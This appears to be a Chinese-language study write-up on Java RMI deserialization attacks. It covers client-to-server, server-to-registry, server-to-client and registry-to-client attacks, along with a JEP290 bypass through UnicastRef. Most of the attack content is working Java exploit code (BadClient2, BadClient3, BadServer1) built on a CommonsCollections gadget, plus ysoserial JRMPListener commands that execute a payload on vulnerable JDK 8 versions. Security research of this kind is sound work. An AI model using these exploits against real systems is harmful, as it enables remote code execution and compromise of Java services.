简介
互打
Client攻击Server
恶意参数
Server 端的调用方法存在非基础类型的参数时,就可以被恶意 Client 端传入恶意数据流触发反序列化漏洞。
漏洞触发点
调试节有提过,sun.rmi.server.UnicastRef#unmarshalValue
Object参数
Server上的远程对象的参数有Object类型,Client就可以传恶意序列化数据过去,Server接收的时候会反序列化。
1 2 3 4
| public interface IHello extends Remote { public String sayHello(String name) throws RemoteException; public void getObj(Object obj) throws RemoteException; }
|
如果参数类型不为Object,也可以通过以下方法来绕过
Server攻击Registry
攻击bind&rebind方法
漏洞触发点:sun.rmi.registry.RegistryImpl_Skel#dispatch
用AnnotationInvocationHandler
来代理 Remote
接口让其能够在bind方法里面被反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package com.SAR;
import com.exploit.CC6;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Map;
public class BadClient2 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException, RemoteException, NoSuchMethodException { Map map = (Map) CC6.getCC6();
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,map); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, o)); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); try { registry.bind("fuck",r); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }
|
原因是sun.rmi.registry.RegistryImpl#registryFilter
里的白名单
JEP290的限制,也就是下面这个补丁之后加入的白名单
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388
第一次遇到,为之后再详细去看他铺垫
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,描述网址点这里。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。
JEP 290 主要提供了几个机制:
- 提供了一种灵活的机制,将可反序列化的类从任意类限制为上下文相关的类(黑白名单);
- 限制反序列化的调用深度和复杂度;
- 为 RMI export 的对象设置了验证机制;
- 提供一个全局过滤器,可以在 properties 或配置文件中进行配置。
参考:http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/
UnicastRef绕过JEP290
bypass这里可以单独整理
用UnicastRef对象新建一个RMI连接绕过JEP290的限制,配合ysoserial中的JRMPListener模块
8u121<=jdk<=8u231
- 用
ysoserial
启动一个恶意的JRMPListener
- 启动注册中心
- 启动Client调用
bind()
操作
- 注册中心被反序列化攻击
1
| java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc.exe"
|
Client
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.CAR;
import com.demo02.IHello; import com.exploit.CC6; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Map; import java.util.Random;
public class BadClient3 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(IHello.class.getClassLoader(), new Class[]{ Registry.class }, obj); registry.bind("hello", proxy); } }
|
Server攻击Client
Server返回给Client远程方法调用结果的时候,会序列化传输
服务端收到会反序列化触发漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.SAC;
import com.demo02.RMIServer; import com.exploit.CC6;
import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject;
public class BadServer1 { public class RCalc extends UnicastRemoteObject implements ICalc { protected RCalc() throws RemoteException { super(); }
@Override public Object calc() throws Exception { Object map = CC6.getCC6(); return map; } }
private void register() throws Exception{ RCalc rCalc = new RCalc(); LocateRegistry.createRegistry(1099); Naming.bind("rmi://127.0.0.1:1099/calc",rCalc); System.out.println("Registry运行中......"); }
public static void main(String[] args) throws Exception { new BadServer1().register(); } }
|
Registry攻击Client
可以用ysoserial搭建恶意Registry来打Client
1
| java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc.exe"
|
1 2 3 4 5 6 7 8 9 10 11
| package com.SAC;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIClient3 { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry(3333); registry.list(); } }
|